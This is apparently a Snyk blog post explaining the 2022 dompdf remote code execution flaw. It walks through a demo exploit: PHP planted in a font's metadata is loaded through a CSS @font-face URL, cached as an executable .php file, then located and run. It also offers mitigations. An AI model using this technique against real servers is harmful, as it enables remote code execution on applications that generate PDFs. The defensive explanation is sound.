dompdf security alert: RCE vulnerability found in popular PHP PDF library
March 18, 2022
0 mins readRecently, researchers from Positive Security published findings identifying a major remote code execution (RCE) vulnerability in dompdf, a popular PDF generation library. In their reporting, they outlined a way that code could be loaded into an application and then remotely executed during a PDF being generated.
Dompdf is used quite extensively within the PHP ecosystem, and is used within over 59,000 open sourced platforms and projects. The dompdf PHP composer page alone has nearly 50 million installs since its initial release to the PHP package manager in 2014.
At the time of writing this, there is currently no fix for this vulnerability. A potential solution could be to prohibit the loading of custom font styles into the PDF generation process or even restricting write access to the font cache folder. Alternatively, restricting access to the Composer install location is also a good option, depending on what libraries are being used and what functionality is needed in the application.
For dompdf versions => 0.8.6, the $isRemoteEnabled
setting can be disabled to prevent loading of custom fonts through font-face
CSS rules. However, bear in mind that this could be a breaking change. Furthermore, in versions <0.8.5, this setting is not used and as such this vulnerability cannot be patched through the $isRemoteEnabled
setting.
In this blog post, we’ll take a look at how the vulnerability works. One thing I find helpful for fundamentally understanding code and vulnerabilities at a more granular level is to get hands-on. So in this blog post we’re going to explore this vulnerability through a working demo using the php-goof application on a Snyk GitHub repo.
PDF libraries
PDF generation within applications is one of my least favorite tasks as a developer. It's a fairly lengthy reiterative process involving code change, generate, code change, generate, etc. to get the formatting and layout right within the PDF being created.
But being able to format HTML to PDF is amazingly useful, especially when you think about how often applications need to use PDF generation. You use them almost every day, on ecommerce websites or sites where you have user-based transactional data that needs to have a receipt generated for the user to save or print.
So for most of us, using a library to do these kinds of functions in application development helps speed up the app development process. Libraries like dompdf mean that as developers, we are able to build out mundane functionality and move on to the more complex things.
Getting hands-on with the dompdf vulnerability
Looking through the original security findings, you can understand more of what is going on inside the library and how it was able to be exploited.
The dompdf library essentially takes normal HTML in its usual format and outputs that into a formatted PDF.
1// reference the Dompdf namespace
2use Dompdf\Dompdf;
3
4// instantiate and use the dompdf class
5$dompdf = new Dompdf();
6$dompdf->loadHtml('<html><body>hello world</body></html>');
7
8// (Optional) Setup the paper size and orientation
9$dompdf->setPaper('A4', 'landscape');
10
11// Render the HTML as PDF
12$dompdf->render();
13
14// Output the generated PDF to Browser
15$dompdf->stream();
It provides fairly simple and easy to use functionality, removing what would otherwise be a very mundane task for a commonly used piece of functionality. The best part with this functionality is that it will format the PDF output using straight HTML tags.
HTML can also include styles. This can either be inline with the <html>
tag or via a style sheet. One thing you can do with a style sheet is load in a font-family
and include a link to a font file.
1@font-face {
2 Font-family:'font name';
3 src:url('https://link to a font file’');
4 font-weight:'normal';
5 font-style:'normal';
6 }
This is where things start getting a bit interesting.
The dompdf library will not only load in an external style sheet via HTML, but it will also save the font file into a local cache, add it to a font directory on the server, and reference the font-family
and location from within the dompdf framework.
The next step in the exploit is getting PHP code into a font file which can pass the validation from dompdf and be stored on the server, but still allow that PHP code to run from the font file. This might sound like a tricky task, however the original researchers discovered that the validation inside the library only checks for the file type, not the contents of the file.
In the php-goof demo app, you can see how this works by taking a look at the custom font file called gotcha-normal.otf. For the most part this is indeed a regular font file with completely normal font typesets in it. But inside the meta part of the file, there’s PHP to be executed on the target app server — <php? phpinfo(); ?>
— inside the copyright meta field…. Yes It's as easy as that!
Then open the font file in a code editor and copy the contents into a .php file, or just rename it. This is important because dompdf will validate the font headers in the file and save to the cache as a .php file and allow it to be an executable php file.
Next, reference that newly created faux font file into the CSS style as a font-family
. In php-goof, we’re doing this directly from the php-goof repository.
1@font-face {
2 font-family:'gotcha';
3 src:url('https://github.com/snyk-labs/php-goof/blob/main/exploits/gotcha_font.php?raw=true');
4 font-weight:'normal';
5 font-style:'normal';
6 }
Note: It's important here to use the same name from the font file for the font-family
name or it will not work in dompdf.
Now all that is left is to inject the style sheet into the HTML used for the PDF output. This will then trigger dompdf to store that font on the server and it can be remotely executed. This in itself becomes a bit tricky because the file name is hashed and the font directory can be in a different place.
In php-goof, this part is made a bit easier by using the dompdf framework to identify the font-file location and name. It uses $dompdf->getFontMetrics()->getFont(“gotcha”, “normal”)
to find out when it's detected in the dompdf font cache.
1if($font = $dompdf->getFontMetrics()->getFont("gotcha", "normal")){
2 $html .= "<a href='http://".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']."/vendor/dompdf/dompdf/lib/fonts/".basename($font).".php'>Gotcha hack</a>";
3 }
When the gotcha font file is available in the framework, it will then return the path as a link inside the PDF that is generated. Here are some screenshots of the vulnerability as seen from the goof-app:
Stay safe
Shout out to the team at Positive Security for not only being quite open about their findings, but also the steps they took to try and raise it with the maintainers of dompdf.
Always remember to scan your application code base to identify situations like this that can arise without knowing. Snyk Code can help identify vulnerabilities within frameworks and functions and allow you to do the due diligence to help protect end users and their data.
Secure your open source dependencies
Snyk's dev-first tooling provides one-click fix PRs for vulnerable open source dependencies and their transitive dependencies.